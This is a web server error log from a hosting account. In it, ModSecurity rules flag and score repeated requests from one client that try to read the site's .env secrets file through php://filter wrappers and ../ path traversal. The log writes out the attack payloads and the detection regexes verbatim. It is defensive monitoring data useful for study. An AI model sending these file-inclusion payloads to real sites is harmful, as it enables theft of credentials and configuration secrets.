[Fri Jul 17 08:55:10.903860 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:10.904152 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almglg5GPQ6hs4VrfMpBNwAAAAY"]
[Fri Jul 17 08:55:10.906679 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&page=php%3A%2F%2Ffilter%2Fconvert.iconv.UCS-2LE.UCS-2BE%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F.env&ref=7-Us8BA47TNLyVTKOv316Q9Kb_JHLHhd9ZIp90T3e-Eip6FfW8Q43BuoAZSF46QiedRkf8C6UjCD5Z9OZe1GJuzZFC9GrZV97cZQjUdy1C-QyhDzzKZueLiYXf8EERXvGipMIZYqLazm_2aiKE8jYXOJZifPi2YvKWRmatQN0iu7OjwICpHKKWKzgAoEW0qIg10YC3xrXv0JlfjIGpb94HB8qJA_YtKdlYiq17M2gLSYfVVPwXJvMAwhsOe-8z1hMB1qjpaycfzb8SPo8GcWNVrE&ts=HVYCMSR4EXPANKI3U5GMH2FYD7ZIZN4BCUJJ4XDJ53VED3JSXLKL..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgloZvbo7N5o5zeYC-JgAAABw"]
[Fri Jul 17 08:55:10.906732 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:page. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:page: php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgloZvbo7N5o5zeYC-JgAAABw"]
[Fri Jul 17 08:55:10.906797 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&page=php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../.env&ref=7-Us8BA47TNLyVTKOv316Q9Kb_JHLHhd9ZIp90T3e-Eip6FfW8Q43BuoAZSF46QiedRkf8C6UjCD5Z9OZe1GJuzZFC9GrZV97cZQjUdy1C-QyhDzzKZueLiYXf8EERXvGipMIZYqLazm_2aiKE8jYXOJZifPi2YvKWRmatQN0iu7OjwICpHKKWKzgAoEW0qIg10YC3xrXv0JlfjIGpb94HB8qJA_YtKdlYiq17M2gLSYfVVPwXJvMAwhsOe-8z1hMB1qjpaycfzb8SPo8GcWNVrE&ts=HVYCMSR4EXPANKI3U5GMH2FYD7ZIZN4BCUJJ4XDJ53VED3JSXLKL5736FRKQAY3BHTCXPSBQEVA7I3..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgloZvbo7N5o5zeYC-JgAAABw"]
[Fri Jul 17 08:55:10.906850 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&page=php://filter/convert.iconv.ucs-2le.ucs-2be/convert.base64-encode/resource=../../.env&ref=7-us8ba47tnlyvtkov316q9kb_jhlhhd9zip90t3e-eip6ffw8q43buoazsf46qiedrkf8c6ujcd5z9oze1gjuzzfc9grzv97czqjudy1c-qyhdzzkzueliyxf8eerxvgipmizyqlazm_2aike8jyxojzifpi2yvkwrmatqn0iu7ojwicphkkwkzgaoew0qig10yc3xrxv0jlfjigpb94hb8qja_ytkdlyiq17m2glsyfvvpwxjvmawhsoe-8z1hmb1qjpaycfzb8spo8gcwnvre&ts=hvycmsr4expanki3u5gmh2fyd7zizn4bcujj4xdj53ved3jsxlkl5736frkqay3bhtcxpsbqeva7i3..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgloZvbo7N5o5zeYC-JgAAABw"]
[Fri Jul 17 08:55:10.906884 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:page. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:page: php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgloZvbo7N5o5zeYC-JgAAABw"]
[Fri Jul 17 08:55:10.906911 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:page. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:page: php://filter/convert.iconv.ucs-2le.ucs-2be/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgloZvbo7N5o5zeYC-JgAAABw"]
[Fri Jul 17 08:55:10.907202 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&page=php%3A%2F%2Ffilter%2Fconvert.iconv.UCS-2LE.UCS-2BE%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F..%2F.env&extra=UqWL0TIHU2TfkGJYyEG0EXlEDSQtNbSvtR8n792japrdBX-fYLiVGjmrL1Br6W0o4SOZQ2PNuuQwAbp0Ze3FmGlLVeX-AtplTbSfwvnpDUIk7KhBQqKd15OEcJV_GZlwXn3KJGcRSMlkZDswsOi9RAcetbJWzDhWEdsFmRMAg2bXuhNVE9OK-94Nxwrje9uOdlJf-9CHdaqkM4VnchD8WZKko9qMqzRMyZRK73j9qFSzwgHt6CbHWshuWTYO7eOv-9lr5HyTVfpaaXy7GipEfGuh&ref=TLQE5JHQ5RGWBTARKAIPCSJPVYDGNJPFQLGIB4Z73LRU..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almglkgVnBK6wAv37w6sEgAAABQ"]
[Fri Jul 17 08:55:10.907254 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:page. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:page: php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglkgVnBK6wAv37w6sEgAAABQ"]
[Fri Jul 17 08:55:10.907312 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&page=php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../../.env&extra=UqWL0TIHU2TfkGJYyEG0EXlEDSQtNbSvtR8n792japrdBX-fYLiVGjmrL1Br6W0o4SOZQ2PNuuQwAbp0Ze3FmGlLVeX-AtplTbSfwvnpDUIk7KhBQqKd15OEcJV_GZlwXn3KJGcRSMlkZDswsOi9RAcetbJWzDhWEdsFmRMAg2bXuhNVE9OK-94Nxwrje9uOdlJf-9CHdaqkM4VnchD8WZKko9qMqzRMyZRK73j9qFSzwgHt6CbHWshuWTYO7eOv-9lr5HyTVfpaaXy7GipEfGuh&ref=TLQE5JHQ5RGWBTARKAIPCSJPVYDGNJPFQLGIB4Z73LRUWAD6PIBDYOSPJXATEWN3DWOFZ23V..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglkgVnBK6wAv37w6sEgAAABQ"]
[Fri Jul 17 08:55:10.907333 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:page. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:page: php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgloZvbo7N5o5zeYC-JgAAABw"]
[Fri Jul 17 08:55:10.907350 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&page=php://filter/convert.iconv.ucs-2le.ucs-2be/convert.base64-encode/resource=../../../.env&extra=uqwl0tihu2tfkgjyyeg0exledsqtnbsvtr8n792japrdbx-fylivgjmrl1br6w0o4sozq2pnuuqwabp0ze3fmgllvex-atpltbsfwvnpduik7khbqqkd15oecjv_gzlwxn3kjgcrsmlkzdswsoi9racetbjwzdhwedsfmrmag2bxuhnve9ok-94nxwrje9uodljf-9chdaqkm4vnchd8wzkko9qmqzrmyzrk73j9qfszwght6cbhwshuwtyo7eov-9lr5hytvfpaaxy7gipefguh&ref=tlqe5jhq5rgwbtarkaipcsjpvydgnjpfqlgib4z73lruwad6pibdyospjxatewn3dwofz23v..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglkgVnBK6wAv37w6sEgAAABQ"]
[Fri Jul 17 08:55:10.907380 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:page. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:page: php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglkgVnBK6wAv37w6sEgAAABQ"]
[Fri Jul 17 08:55:10.907407 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:page. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:page: php://filter/convert.iconv.ucs-2le.ucs-2be/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglkgVnBK6wAv37w6sEgAAABQ"]
[Fri Jul 17 08:55:10.907790 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:page. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:page: php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglkgVnBK6wAv37w6sEgAAABQ"]
[Fri Jul 17 08:55:10.908503 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgloZvbo7N5o5zeYC-JgAAABw"]
[Fri Jul 17 08:55:10.908672 2026] [hostinglimits:warn] [pid 2014256:tid 2014256] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2014256) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:10.908842 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglkgVnBK6wAv37w6sEgAAABQ"]
[Fri Jul 17 08:55:10.908956 2026] [hostinglimits:warn] [pid 2013809:tid 2013809] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013809) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:10.908999 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgloZvbo7N5o5zeYC-JgAAABw"]
[Fri Jul 17 08:55:10.909258 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almglkgVnBK6wAv37w6sEgAAABQ"]
[Fri Jul 17 08:55:10.921469 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:include. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:include: php://filter/convert.base64-encode/resource=../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglhAi3pC6yjXGNq2AWwAAAAU"]
[Fri Jul 17 08:55:10.922535 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglhAi3pC6yjXGNq2AWwAAAAU"]
[Fri Jul 17 08:55:10.922683 2026] [hostinglimits:warn] [pid 1993668:tid 1993668] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993668) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:10.922924 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almglhAi3pC6yjXGNq2AWwAAAAU"]
[Fri Jul 17 08:55:10.929148 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&page=php%3A%2F%2Ffilter%2Fzlib.deflate%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F.env&anything=LQwR_YYpkL7re_kz6Msjjxmzq4yLnBlzsfpvY3bcQdZupOVNw25cmsV-KaBXS5wKj3FPiI1dDoR9XqA8i-PGmkYuipdSypbuPeLYtFuCtQ1rgBc0FHnzkPZ4p-_f_ztiKR-vyI1IuG6cvmkVyGwJMyKTOFl5LSwJFcVEa79F5KqueXhBR5VUo503ieg3J9Hao2Jgs7lPuQ1cBKc0baPhiaOhiyCZyg8GJIE_gEd1Bz8hacUdvjinWv8XU4-rbUO0aZ3v0D3AKLnPpN4d3Ohqtn4s&sid=VIMTI5TYXPXUC7UWQ4HQ2NUCEEIZ64YDPEZX26PL7ZDJQAUO6WN4NOAPOUXFKW4..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almglol9vhFBGA6D8l95uwAAAAw"]
[Fri Jul 17 08:55:10.929220 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:page. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:page: php://filter/zlib.deflate/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglol9vhFBGA6D8l95uwAAAAw"]
